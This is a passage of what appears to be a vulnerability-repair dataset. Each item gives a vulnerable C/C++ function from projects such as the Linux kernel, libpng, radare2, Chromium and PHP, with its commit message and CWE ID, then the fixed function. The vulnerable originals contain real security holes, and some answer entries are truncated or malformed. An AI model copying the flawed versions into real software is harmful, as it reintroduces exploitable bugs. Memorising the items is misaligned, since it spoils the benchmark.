static struct fsnotify_group *inotify_new_group(struct user_struct *user, unsigned int max_events) static struct fsnotify_group *inotify_new_group(unsigned int max_events) { struct fsnotify_group *group; group = fsnotify_alloc_group(&inotify_fsnotify_ops); if (IS_ERR(group)) return group; group->max_events = max_events; spin_lock_init(&group->inotify_data.idr_lock); idr_init(&group->inotify_data.idr); group->inotify_data.last_wd = 0; group->inotify_data.fa = NULL; group->inotify_data.user = get_current_user(); if (atomic_inc_return(&group->inotify_data.user->inotify_devs) > inotify_max_user_instances) { fsnotify_put_group(group); return ERR_PTR(-EMFILE); } return group; }
165,888
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: ssize_t socket_read(const socket_t *socket, void *buf, size_t count) { assert(socket != NULL); assert(buf != NULL); return recv(socket->fd, buf, count, MSG_DONTWAIT); } Commit Message: DO NOT MERGE Fix potential DoS caused by delivering signal to BT process Bug: 28885210 Change-Id: I63866d894bfca47464d6e42e3fb0357c4f94d360 Conflicts: btif/co/bta_hh_co.c btif/src/btif_core.c Merge conflict resolution of ag/1161415 (referencing ag/1164670) - Directly into mnc-mr2-release CWE ID: CWE-284
ssize_t socket_read(const socket_t *socket, void *buf, size_t count) { assert(socket != NULL); assert(buf != NULL); return TEMP_FAILURE_RETRY(recv(socket->fd, buf, count, MSG_DONTWAIT)); }
173,486
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: static bool getCoverageFormat12(vector<uint32_t>& coverage, const uint8_t* data, size_t size) { const size_t kNGroupsOffset = 12; const size_t kFirstGroupOffset = 16; const size_t kGroupSize = 12; const size_t kStartCharCodeOffset = 0; const size_t kEndCharCodeOffset = 4; if (kFirstGroupOffset > size) { return false; } uint32_t nGroups = readU32(data, kNGroupsOffset); if (kFirstGroupOffset + nGroups * kGroupSize > size) { return false; } for (uint32_t i = 0; i < nGroups; i++) { uint32_t groupOffset = kFirstGroupOffset + i * kGroupSize; uint32_t start = readU32(data, groupOffset + kStartCharCodeOffset); uint32_t end = readU32(data, groupOffset + kEndCharCodeOffset); addRange(coverage, start, end + 1); // file is inclusive, vector is exclusive } return true; } Commit Message: Avoid integer overflows in parsing fonts A malformed TTF can cause size calculations to overflow. This patch checks the maximum reasonable value so that the total size fits in 32 bits. It also adds some explicit casting to avoid possible technical undefined behavior when parsing sized unsigned values. Bug: 25645298 Change-Id: Id4716132041a6f4f1fbb73ec4e445391cf7d9616 (cherry picked from commit 183c9ec2800baa2ce099ee260c6cbc6121cf1274) CWE ID: CWE-19
static bool getCoverageFormat12(vector<uint32_t>& coverage, const uint8_t* data, size_t size) { const size_t kNGroupsOffset = 12; const size_t kFirstGroupOffset = 16; const size_t kGroupSize = 12; const size_t kStartCharCodeOffset = 0; const size_t kEndCharCodeOffset = 4; const size_t kMaxNGroups = 0xfffffff0 / kGroupSize; // protection against overflow // For all values < kMaxNGroups, kFirstGroupOffset + nGroups * kGroupSize fits in 32 bits. if (kFirstGroupOffset > size) { return false; } uint32_t nGroups = readU32(data, kNGroupsOffset); if (nGroups >= kMaxNGroups || kFirstGroupOffset + nGroups * kGroupSize > size) { return false; } for (uint32_t i = 0; i < nGroups; i++) { uint32_t groupOffset = kFirstGroupOffset + i * kGroupSize; uint32_t start = readU32(data, groupOffset + kStartCharCodeOffset); uint32_t end = readU32(data, groupOffset + kEndCharCodeOffset); addRange(coverage, start, end + 1); // file is inclusive, vector is exclusive } return true; }
173,965
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: image_transform_png_set_background_set(PNG_CONST image_transform *this, transform_display *that, png_structp pp, png_infop pi) { png_byte colour_type, bit_depth; png_byte random_bytes[8]; /* 8 bytes - 64 bits - the biggest pixel */ int expand; png_color_16 back; /* We need a background colour, because we don't know exactly what transforms * have been set we have to supply the colour in the original file format and * so we need to know what that is! The background colour is stored in the * transform_display. */ RANDOMIZE(random_bytes); /* Read the random value, for colour type 3 the background colour is actually * expressed as a 24bit rgb, not an index. */ colour_type = that->this.colour_type; if (colour_type == 3) { colour_type = PNG_COLOR_TYPE_RGB; bit_depth = 8; expand = 0; /* passing in an RGB not a pixel index */ } else { bit_depth = that->this.bit_depth; expand = 1; } image_pixel_init(&data, random_bytes, colour_type, bit_depth, 0/*x*/, 0/*unused: palette*/); /* Extract the background colour from this image_pixel, but make sure the * unused fields of 'back' are garbage. */ RANDOMIZE(back); if (colour_type & PNG_COLOR_MASK_COLOR) { back.red = (png_uint_16)data.red; back.green = (png_uint_16)data.green; back.blue = (png_uint_16)data.blue; } else back.gray = (png_uint_16)data.red; # ifdef PNG_FLOATING_POINT_SUPPORTED png_set_background(pp, &back, PNG_BACKGROUND_GAMMA_FILE, expand, 0); # else png_set_background_fixed(pp, &back, PNG_BACKGROUND_GAMMA_FILE, expand, 0); # endif this->next->set(this->next, that, pp, pi); } Commit Message: DO NOT MERGE Update libpng to 1.6.20 BUG:23265085 Change-Id: I85199805636d771f3597b691b63bc0bf46084833 (cherry picked from commit bbe98b40cda082024b669fa508931042eed18f82) CWE ID:
image_transform_png_set_background_set(PNG_CONST image_transform *this, image_transform_png_set_background_set(const image_transform *this, transform_display *that, png_structp pp, png_infop pi) { png_byte colour_type, bit_depth; png_byte random_bytes[8]; /* 8 bytes - 64 bits - the biggest pixel */ int expand; png_color_16 back; /* We need a background colour, because we don't know exactly what transforms * have been set we have to supply the colour in the original file format and * so we need to know what that is! The background colour is stored in the * transform_display. */ RANDOMIZE(random_bytes); /* Read the random value, for colour type 3 the background colour is actually * expressed as a 24bit rgb, not an index. */ colour_type = that->this.colour_type; if (colour_type == 3) { colour_type = PNG_COLOR_TYPE_RGB; bit_depth = 8; expand = 0; /* passing in an RGB not a pixel index */ } else { if (that->this.has_tRNS) that->this.is_transparent = 1; bit_depth = that->this.bit_depth; expand = 1; } image_pixel_init(&data, random_bytes, colour_type, bit_depth, 0/*x*/, 0/*unused: palette*/, NULL/*format*/); /* Extract the background colour from this image_pixel, but make sure the * unused fields of 'back' are garbage. */ RANDOMIZE(back); if (colour_type & PNG_COLOR_MASK_COLOR) { back.red = (png_uint_16)data.red; back.green = (png_uint_16)data.green; back.blue = (png_uint_16)data.blue; } else back.gray = (png_uint_16)data.red; # ifdef PNG_FLOATING_POINT_SUPPORTED png_set_background(pp, &back, PNG_BACKGROUND_GAMMA_FILE, expand, 0); # else png_set_background_fixed(pp, &back, PNG_BACKGROUND_GAMMA_FILE, expand, 0); # endif this->next->set(this->next, that, pp, pi); }
173,625
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: static Sdb *store_versioninfo_gnu_verdef(ELFOBJ *bin, Elf_(Shdr) *shdr, int sz) { const char *section_name = ""; const char *link_section_name = ""; char *end = NULL; Elf_(Shdr) *link_shdr = NULL; ut8 dfs[sizeof (Elf_(Verdef))] = {0}; Sdb *sdb; int cnt, i; if (shdr->sh_link > bin->ehdr.e_shnum) { return false; } link_shdr = &bin->shdr[shdr->sh_link]; if (shdr->sh_size < 1) { return false; } Elf_(Verdef) *defs = calloc (shdr->sh_size, sizeof (char)); if (!defs) { return false; } if (bin->shstrtab && shdr->sh_name < bin->shstrtab_size) { section_name = &bin->shstrtab[shdr->sh_name]; } if (link_shdr && bin->shstrtab && link_shdr->sh_name < bin->shstrtab_size) { link_section_name = &bin->shstrtab[link_shdr->sh_name]; } if (!defs) { bprintf ("Warning: Cannot allocate memory (Check Elf_(Verdef))\n"); return NULL; } sdb = sdb_new0 (); end = (char *)defs + shdr->sh_size; sdb_set (sdb, "section_name", section_name, 0); sdb_num_set (sdb, "entries", shdr->sh_info, 0); sdb_num_set (sdb, "addr", shdr->sh_addr, 0); sdb_num_set (sdb, "offset", shdr->sh_offset, 0); sdb_num_set (sdb, "link", shdr->sh_link, 0); sdb_set (sdb, "link_section_name", link_section_name, 0); for (cnt = 0, i = 0; i >= 0 && cnt < shdr->sh_info && ((char *)defs + i < end); ++cnt) { Sdb *sdb_verdef = sdb_new0 (); char *vstart = ((char*)defs) + i; char key[32] = {0}; Elf_(Verdef) *verdef = (Elf_(Verdef)*)vstart; Elf_(Verdaux) aux = {0}; int j = 0; int isum = 0; r_buf_read_at (bin->b, shdr->sh_offset + i, dfs, sizeof (Elf_(Verdef))); verdef->vd_version = READ16 (dfs, j) verdef->vd_flags = READ16 (dfs, j) verdef->vd_ndx = READ16 (dfs, j) verdef->vd_cnt = READ16 (dfs, j) verdef->vd_hash = READ32 (dfs, j) verdef->vd_aux = READ32 (dfs, j) verdef->vd_next = READ32 (dfs, j) int vdaux = verdef->vd_aux; if (vdaux < 1) { sdb_free (sdb_verdef); goto out_error; } vstart += vdaux; if (vstart > end || vstart + sizeof (Elf_(Verdaux)) > end) { sdb_free (sdb_verdef); goto out_error; } j = 0; aux.vda_name = READ32 (vstart, j) aux.vda_next = READ32 (vstart, j) isum = i + verdef->vd_aux; if (aux.vda_name > bin->dynstr_size) { sdb_free (sdb_verdef); goto out_error; } sdb_num_set (sdb_verdef, "idx", i, 0); sdb_num_set (sdb_verdef, "vd_version", verdef->vd_version, 0); sdb_num_set (sdb_verdef, "vd_ndx", verdef->vd_ndx, 0); sdb_num_set (sdb_verdef, "vd_cnt", verdef->vd_cnt, 0); sdb_set (sdb_verdef, "vda_name", &bin->dynstr[aux.vda_name], 0); sdb_set (sdb_verdef, "flags", get_ver_flags (verdef->vd_flags), 0); for (j = 1; j < verdef->vd_cnt; ++j) { int k; Sdb *sdb_parent = sdb_new0 (); isum += aux.vda_next; vstart += aux.vda_next; if (vstart > end || vstart + sizeof(Elf_(Verdaux)) > end) { sdb_free (sdb_verdef); sdb_free (sdb_parent); goto out_error; } k = 0; aux.vda_name = READ32 (vstart, k) aux.vda_next = READ32 (vstart, k) if (aux.vda_name > bin->dynstr_size) { sdb_free (sdb_verdef); sdb_free (sdb_parent); goto out_error; } sdb_num_set (sdb_parent, "idx", isum, 0); sdb_num_set (sdb_parent, "parent", j, 0); sdb_set (sdb_parent, "vda_name", &bin->dynstr[aux.vda_name], 0); snprintf (key, sizeof (key), "parent%d", j - 1); sdb_ns_set (sdb_verdef, key, sdb_parent); } snprintf (key, sizeof (key), "verdef%d", cnt); sdb_ns_set (sdb, key, sdb_verdef); if (!verdef->vd_next) { sdb_free (sdb_verdef); goto out_error; } if ((st32)verdef->vd_next < 1) { eprintf ("Warning: Invalid vd_next in the ELF version\n"); break; } i += verdef->vd_next; } free (defs); return sdb; out_error: free (defs); sdb_free (sdb); return NULL; } Commit Message: Fixed crash in elf.c with 32bit r2 when shdr->sh_size > max size_t CWE ID: CWE-119
static Sdb *store_versioninfo_gnu_verdef(ELFOBJ *bin, Elf_(Shdr) *shdr, int sz) { const char *section_name = ""; const char *link_section_name = ""; char *end = NULL; Elf_(Shdr) *link_shdr = NULL; ut8 dfs[sizeof (Elf_(Verdef))] = {0}; Sdb *sdb; int cnt, i; if (shdr->sh_link > bin->ehdr.e_shnum) { return false; } link_shdr = &bin->shdr[shdr->sh_link]; if (shdr->sh_size < 1 || shdr->sh_size > SIZE_MAX) { return false; } Elf_(Verdef) *defs = calloc (shdr->sh_size, sizeof (char)); if (!defs) { return false; } if (bin->shstrtab && shdr->sh_name < bin->shstrtab_size) { section_name = &bin->shstrtab[shdr->sh_name]; } if (link_shdr && bin->shstrtab && link_shdr->sh_name < bin->shstrtab_size) { link_section_name = &bin->shstrtab[link_shdr->sh_name]; } if (!defs) { bprintf ("Warning: Cannot allocate memory (Check Elf_(Verdef))\n"); return NULL; } sdb = sdb_new0 (); end = (char *)defs + shdr->sh_size; sdb_set (sdb, "section_name", section_name, 0); sdb_num_set (sdb, "entries", shdr->sh_info, 0); sdb_num_set (sdb, "addr", shdr->sh_addr, 0); sdb_num_set (sdb, "offset", shdr->sh_offset, 0); sdb_num_set (sdb, "link", shdr->sh_link, 0); sdb_set (sdb, "link_section_name", link_section_name, 0); for (cnt = 0, i = 0; i >= 0 && cnt < shdr->sh_info && ((char *)defs + i < end); ++cnt) { Sdb *sdb_verdef = sdb_new0 (); char *vstart = ((char*)defs) + i; char key[32] = {0}; Elf_(Verdef) *verdef = (Elf_(Verdef)*)vstart; Elf_(Verdaux) aux = {0}; int j = 0; int isum = 0; r_buf_read_at (bin->b, shdr->sh_offset + i, dfs, sizeof (Elf_(Verdef))); verdef->vd_version = READ16 (dfs, j) verdef->vd_flags = READ16 (dfs, j) verdef->vd_ndx = READ16 (dfs, j) verdef->vd_cnt = READ16 (dfs, j) verdef->vd_hash = READ32 (dfs, j) verdef->vd_aux = READ32 (dfs, j) verdef->vd_next = READ32 (dfs, j) int vdaux = verdef->vd_aux; if (vdaux < 1) { sdb_free (sdb_verdef); goto out_error; } vstart += vdaux; if (vstart > end || vstart + sizeof (Elf_(Verdaux)) > end) { sdb_free (sdb_verdef); goto out_error; } j = 0; aux.vda_name = READ32 (vstart, j) aux.vda_next = READ32 (vstart, j) isum = i + verdef->vd_aux; if (aux.vda_name > bin->dynstr_size) { sdb_free (sdb_verdef); goto out_error; } sdb_num_set (sdb_verdef, "idx", i, 0); sdb_num_set (sdb_verdef, "vd_version", verdef->vd_version, 0); sdb_num_set (sdb_verdef, "vd_ndx", verdef->vd_ndx, 0); sdb_num_set (sdb_verdef, "vd_cnt", verdef->vd_cnt, 0); sdb_set (sdb_verdef, "vda_name", &bin->dynstr[aux.vda_name], 0); sdb_set (sdb_verdef, "flags", get_ver_flags (verdef->vd_flags), 0); for (j = 1; j < verdef->vd_cnt; ++j) { int k; Sdb *sdb_parent = sdb_new0 (); isum += aux.vda_next; vstart += aux.vda_next; if (vstart > end || vstart + sizeof(Elf_(Verdaux)) > end) { sdb_free (sdb_verdef); sdb_free (sdb_parent); goto out_error; } k = 0; aux.vda_name = READ32 (vstart, k) aux.vda_next = READ32 (vstart, k) if (aux.vda_name > bin->dynstr_size) { sdb_free (sdb_verdef); sdb_free (sdb_parent); goto out_error; } sdb_num_set (sdb_parent, "idx", isum, 0); sdb_num_set (sdb_parent, "parent", j, 0); sdb_set (sdb_parent, "vda_name", &bin->dynstr[aux.vda_name], 0); snprintf (key, sizeof (key), "parent%d", j - 1); sdb_ns_set (sdb_verdef, key, sdb_parent); } snprintf (key, sizeof (key), "verdef%d", cnt); sdb_ns_set (sdb, key, sdb_verdef); if (!verdef->vd_next) { sdb_free (sdb_verdef); goto out_error; } if ((st32)verdef->vd_next < 1) { eprintf ("Warning: Invalid vd_next in the ELF version\n"); break; } i += verdef->vd_next; } free (defs); return sdb; out_error: free (defs); sdb_free (sdb); return NULL; }
167,689
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: BackendImpl::BackendImpl( const base::FilePath& path, scoped_refptr<BackendCleanupTracker> cleanup_tracker, const scoped_refptr<base::SingleThreadTaskRunner>& cache_thread, net::NetLog* net_log) : cleanup_tracker_(std::move(cleanup_tracker)), background_queue_(this, FallbackToInternalIfNull(cache_thread)), path_(path), block_files_(path), mask_(0), max_size_(0), up_ticks_(0), cache_type_(net::DISK_CACHE), uma_report_(0), user_flags_(0), init_(false), restarted_(false), unit_test_(false), read_only_(false), disabled_(false), new_eviction_(false), first_timer_(true), user_load_(false), net_log_(net_log), done_(base::WaitableEvent::ResetPolicy::MANUAL, base::WaitableEvent::InitialState::NOT_SIGNALED), ptr_factory_(this) {} Commit Message: Blockfile cache: fix long-standing sparse + evict reentrancy problem Thanks to nedwilliamson@ (on gmail) for an alternative perspective plus a reduction to make fixing this much easier. Bug: 826626, 518908, 537063, 802886 Change-Id: Ibfa01416f9a8e7f7b361e4f93b4b6b134728b85f Reviewed-on: https://chromium-review.googlesource.com/985052 Reviewed-by: Matt Menke <[email protected]> Commit-Queue: Maks Orlovich <[email protected]> Cr-Commit-Position: refs/heads/master@{#547103} CWE ID: CWE-20
BackendImpl::BackendImpl( const base::FilePath& path, scoped_refptr<BackendCleanupTracker> cleanup_tracker, const scoped_refptr<base::SingleThreadTaskRunner>& cache_thread, net::NetLog* net_log) : cleanup_tracker_(std::move(cleanup_tracker)), background_queue_(this, FallbackToInternalIfNull(cache_thread)), path_(path), block_files_(path), mask_(0), max_size_(0), up_ticks_(0), cache_type_(net::DISK_CACHE), uma_report_(0), user_flags_(0), init_(false), restarted_(false), unit_test_(false), read_only_(false), disabled_(false), new_eviction_(false), first_timer_(true), user_load_(false), consider_evicting_at_op_end_(false), net_log_(net_log), done_(base::WaitableEvent::ResetPolicy::MANUAL, base::WaitableEvent::InitialState::NOT_SIGNALED), ptr_factory_(this) {}
172,696
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: static int follow_dotdot_rcu(struct nameidata *nd) { struct inode *inode = nd->inode; if (!nd->root.mnt) set_root_rcu(nd); while (1) { if (path_equal(&nd->path, &nd->root)) break; if (nd->path.dentry != nd->path.mnt->mnt_root) { struct dentry *old = nd->path.dentry; struct dentry *parent = old->d_parent; unsigned seq; inode = parent->d_inode; seq = read_seqcount_begin(&parent->d_seq); if (unlikely(read_seqcount_retry(&old->d_seq, nd->seq))) return -ECHILD; nd->path.dentry = parent; nd->seq = seq; break; } else { struct mount *mnt = real_mount(nd->path.mnt); struct mount *mparent = mnt->mnt_parent; struct dentry *mountpoint = mnt->mnt_mountpoint; struct inode *inode2 = mountpoint->d_inode; unsigned seq = read_seqcount_begin(&mountpoint->d_seq); if (unlikely(read_seqretry(&mount_lock, nd->m_seq))) return -ECHILD; if (&mparent->mnt == nd->path.mnt) break; /* we know that mountpoint was pinned */ nd->path.dentry = mountpoint; nd->path.mnt = &mparent->mnt; inode = inode2; nd->seq = seq; } } while (unlikely(d_mountpoint(nd->path.dentry))) { struct mount *mounted; mounted = __lookup_mnt(nd->path.mnt, nd->path.dentry); if (unlikely(read_seqretry(&mount_lock, nd->m_seq))) return -ECHILD; if (!mounted) break; nd->path.mnt = &mounted->mnt; nd->path.dentry = mounted->mnt.mnt_root; inode = nd->path.dentry->d_inode; nd->seq = read_seqcount_begin(&nd->path.dentry->d_seq); } nd->inode = inode; return 0; } Commit Message: vfs: Test for and handle paths that are unreachable from their mnt_root In rare cases a directory can be renamed out from under a bind mount. In those cases without special handling it becomes possible to walk up the directory tree to the root dentry of the filesystem and down from the root dentry to every other file or directory on the filesystem. Like division by zero .. from an unconnected path can not be given a useful semantic as there is no predicting at which path component the code will realize it is unconnected. We certainly can not match the current behavior as the current behavior is a security hole. Therefore when encounting .. when following an unconnected path return -ENOENT. - Add a function path_connected to verify path->dentry is reachable from path->mnt.mnt_root. AKA to validate that rename did not do something nasty to the bind mount. To avoid races path_connected must be called after following a path component to it's next path component. Signed-off-by: "Eric W. Biederman" <[email protected]> Signed-off-by: Al Viro <[email protected]> CWE ID: CWE-254
static int follow_dotdot_rcu(struct nameidata *nd) { struct inode *inode = nd->inode; if (!nd->root.mnt) set_root_rcu(nd); while (1) { if (path_equal(&nd->path, &nd->root)) break; if (nd->path.dentry != nd->path.mnt->mnt_root) { struct dentry *old = nd->path.dentry; struct dentry *parent = old->d_parent; unsigned seq; inode = parent->d_inode; seq = read_seqcount_begin(&parent->d_seq); if (unlikely(read_seqcount_retry(&old->d_seq, nd->seq))) return -ECHILD; nd->path.dentry = parent; nd->seq = seq; if (unlikely(!path_connected(&nd->path))) return -ENOENT; break; } else { struct mount *mnt = real_mount(nd->path.mnt); struct mount *mparent = mnt->mnt_parent; struct dentry *mountpoint = mnt->mnt_mountpoint; struct inode *inode2 = mountpoint->d_inode; unsigned seq = read_seqcount_begin(&mountpoint->d_seq); if (unlikely(read_seqretry(&mount_lock, nd->m_seq))) return -ECHILD; if (&mparent->mnt == nd->path.mnt) break; /* we know that mountpoint was pinned */ nd->path.dentry = mountpoint; nd->path.mnt = &mparent->mnt; inode = inode2; nd->seq = seq; } } while (unlikely(d_mountpoint(nd->path.dentry))) { struct mount *mounted; mounted = __lookup_mnt(nd->path.mnt, nd->path.dentry); if (unlikely(read_seqretry(&mount_lock, nd->m_seq))) return -ECHILD; if (!mounted) break; nd->path.mnt = &mounted->mnt; nd->path.dentry = mounted->mnt.mnt_root; inode = nd->path.dentry->d_inode; nd->seq = read_seqcount_begin(&nd->path.dentry->d_seq); } nd->inode = inode; return 0; }
166,636
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: __ext4_set_acl(handle_t *handle, struct inode *inode, int type, struct posix_acl *acl) { int name_index; void *value = NULL; size_t size = 0; int error; switch (type) { case ACL_TYPE_ACCESS: name_index = EXT4_XATTR_INDEX_POSIX_ACL_ACCESS; if (acl) { error = posix_acl_equiv_mode(acl, &inode->i_mode); if (error < 0) return error; else { inode->i_ctime = ext4_current_time(inode); ext4_mark_inode_dirty(handle, inode); if (error == 0) acl = NULL; } } break; case ACL_TYPE_DEFAULT: name_index = EXT4_XATTR_INDEX_POSIX_ACL_DEFAULT; if (!S_ISDIR(inode->i_mode)) return acl ? -EACCES : 0; break; default: return -EINVAL; } if (acl) { value = ext4_acl_to_disk(acl, &size); if (IS_ERR(value)) return (int)PTR_ERR(value); } error = ext4_xattr_set_handle(handle, inode, name_index, "", value, size, 0); kfree(value); if (!error) set_cached_acl(inode, type, acl); return error; } Commit Message: posix_acl: Clear SGID bit when setting file permissions When file permissions are modified via chmod(2) and the user is not in the owning group or capable of CAP_FSETID, the setgid bit is cleared in inode_change_ok(). Setting a POSIX ACL via setxattr(2) sets the file permissions as well as the new ACL, but doesn't clear the setgid bit in a similar way; this allows to bypass the check in chmod(2). Fix that. References: CVE-2016-7097 Reviewed-by: Christoph Hellwig <[email protected]> Reviewed-by: Jeff Layton <[email protected]> Signed-off-by: Jan Kara <[email protected]> Signed-off-by: Andreas Gruenbacher <[email protected]> CWE ID: CWE-285
__ext4_set_acl(handle_t *handle, struct inode *inode, int type, struct posix_acl *acl) { int name_index; void *value = NULL; size_t size = 0; int error; switch (type) { case ACL_TYPE_ACCESS: name_index = EXT4_XATTR_INDEX_POSIX_ACL_ACCESS; if (acl) { error = posix_acl_update_mode(inode, &inode->i_mode, &acl); if (error) return error; inode->i_ctime = ext4_current_time(inode); ext4_mark_inode_dirty(handle, inode); } break; case ACL_TYPE_DEFAULT: name_index = EXT4_XATTR_INDEX_POSIX_ACL_DEFAULT; if (!S_ISDIR(inode->i_mode)) return acl ? -EACCES : 0; break; default: return -EINVAL; } if (acl) { value = ext4_acl_to_disk(acl, &size); if (IS_ERR(value)) return (int)PTR_ERR(value); } error = ext4_xattr_set_handle(handle, inode, name_index, "", value, size, 0); kfree(value); if (!error) set_cached_acl(inode, type, acl); return error; }
166,970
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: PHP_FUNCTION(imagetruecolortopalette) { zval *IM; zend_bool dither; long ncolors; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rbl", &IM, &dither, &ncolors) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); if (ncolors <= 0) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Number of colors has to be greater than zero"); RETURN_FALSE; } gdImageTrueColorToPalette(im, dither, ncolors); RETURN_TRUE; } Commit Message: Fix bug#72697 - select_colors write out-of-bounds CWE ID: CWE-787
PHP_FUNCTION(imagetruecolortopalette) { zval *IM; zend_bool dither; long ncolors; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rbl", &IM, &dither, &ncolors) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); if (ncolors <= 0 || ncolors > INT_MAX) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Number of colors has to be greater than zero and no more than %d", INT_MAX); RETURN_FALSE; } gdImageTrueColorToPalette(im, dither, (int)ncolors); RETURN_TRUE; }
166,953
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: static base::Callback<void(const gfx::Image&)> Wrap( const base::Callback<void(const SkBitmap&)>& image_decoded_callback) { auto* handler = new ImageDecodedHandlerWithTimeout(image_decoded_callback); base::ThreadTaskRunnerHandle::Get()->PostDelayedTask( FROM_HERE, base::Bind(&ImageDecodedHandlerWithTimeout::OnImageDecoded, handler->weak_ptr_factory_.GetWeakPtr(), gfx::Image()), base::TimeDelta::FromSeconds(kDecodeLogoTimeoutSeconds)); return base::Bind(&ImageDecodedHandlerWithTimeout::OnImageDecoded, handler->weak_ptr_factory_.GetWeakPtr()); } Commit Message: Local NTP: add smoke tests for doodles Split LogoService into LogoService interface and LogoServiceImpl to make it easier to provide fake data to the test. Bug: 768419 Cq-Include-Trybots: master.tryserver.chromium.linux:closure_compilation Change-Id: I84639189d2db1b24a2e139936c99369352bab587 Reviewed-on: https://chromium-review.googlesource.com/690198 Reviewed-by: Sylvain Defresne <[email protected]> Reviewed-by: Marc Treib <[email protected]> Commit-Queue: Chris Pickel <[email protected]> Cr-Commit-Position: refs/heads/master@{#505374} CWE ID: CWE-119
static base::Callback<void(const gfx::Image&)> Wrap(
171,961
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: static Image *ReadJP2Image(const ImageInfo *image_info,ExceptionInfo *exception) { const char *option; Image *image; int jp2_status; MagickBooleanType status; opj_codec_t *jp2_codec; opj_codestream_index_t *codestream_index = (opj_codestream_index_t *) NULL; opj_dparameters_t parameters; opj_image_t *jp2_image; opj_stream_t *jp2_stream; register ssize_t i; ssize_t y; unsigned char sans[4]; /* Open image file. */ assert(image_info != (const ImageInfo *) NULL); assert(image_info->signature == MagickSignature); if (image_info->debug != MagickFalse) (void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s", image_info->filename); assert(exception != (ExceptionInfo *) NULL); assert(exception->signature == MagickSignature); image=AcquireImage(image_info); status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception); if (status == MagickFalse) { image=DestroyImageList(image); return((Image *) NULL); } /* Initialize JP2 codec. */ if (ReadBlob(image,4,sans) != 4) { image=DestroyImageList(image); return((Image *) NULL); } (void) SeekBlob(image,SEEK_SET,0); if (LocaleCompare(image_info->magick,"JPT") == 0) jp2_codec=opj_create_decompress(OPJ_CODEC_JPT); else if (IsJ2K(sans,4) != MagickFalse) jp2_codec=opj_create_decompress(OPJ_CODEC_J2K); else jp2_codec=opj_create_decompress(OPJ_CODEC_JP2); opj_set_warning_handler(jp2_codec,JP2WarningHandler,exception); opj_set_error_handler(jp2_codec,JP2ErrorHandler,exception); opj_set_default_decoder_parameters(&parameters); option=GetImageOption(image_info,"jp2:reduce-factor"); if (option != (const char *) NULL) parameters.cp_reduce=StringToInteger(option); option=GetImageOption(image_info,"jp2:layer-number"); if (option != (const char *) NULL) parameters.cp_layer=StringToInteger(option); if (opj_setup_decoder(jp2_codec,&parameters) == 0) { opj_destroy_codec(jp2_codec); ThrowReaderException(DelegateError,"UnableToManageJP2Stream"); } jp2_stream=opj_stream_create(OPJ_J2K_STREAM_CHUNK_SIZE,OPJ_TRUE); opj_stream_set_read_function(jp2_stream,JP2ReadHandler); opj_stream_set_write_function(jp2_stream,JP2WriteHandler); opj_stream_set_seek_function(jp2_stream,JP2SeekHandler); opj_stream_set_skip_function(jp2_stream,JP2SkipHandler); opj_stream_set_user_data(jp2_stream,image,NULL); opj_stream_set_user_data_length(jp2_stream,GetBlobSize(image)); if (opj_read_header(jp2_stream,jp2_codec,&jp2_image) == 0) { opj_stream_destroy(jp2_stream); opj_destroy_codec(jp2_codec); ThrowReaderException(DelegateError,"UnableToDecodeImageFile"); } jp2_status=1; if ((image->columns != 0) && (image->rows != 0)) { /* Extract an area from the image. */ jp2_status=opj_set_decode_area(jp2_codec,jp2_image,image->extract_info.x, image->extract_info.y,image->extract_info.x+(ssize_t) image->columns, image->extract_info.y+(ssize_t) image->rows); if (jp2_status == 0) { opj_stream_destroy(jp2_stream); opj_destroy_codec(jp2_codec); opj_image_destroy(jp2_image); ThrowReaderException(DelegateError,"UnableToDecodeImageFile"); } } if (image_info->number_scenes != 0) jp2_status=opj_get_decoded_tile(jp2_codec,jp2_stream,jp2_image, (unsigned int) image_info->scene); else if (image->ping == MagickFalse) { jp2_status=opj_decode(jp2_codec,jp2_stream,jp2_image); if (jp2_status != 0) jp2_status=opj_end_decompress(jp2_codec,jp2_stream); } if (jp2_status == 0) { opj_stream_destroy(jp2_stream); opj_destroy_codec(jp2_codec); opj_image_destroy(jp2_image); ThrowReaderException(DelegateError,"UnableToDecodeImageFile"); } opj_stream_destroy(jp2_stream); for (i=0; i < (ssize_t) jp2_image->numcomps; i++) { if ((jp2_image->comps[i].dx == 0) || (jp2_image->comps[i].dy == 0)) { opj_destroy_codec(jp2_codec); opj_image_destroy(jp2_image); ThrowReaderException(CoderError,"IrregularChannelGeometryNotSupported") } } /* Convert JP2 image. */ image->columns=(size_t) jp2_image->comps[0].w; image->rows=(size_t) jp2_image->comps[0].h; image->depth=jp2_image->comps[0].prec; image->compression=JPEG2000Compression; if 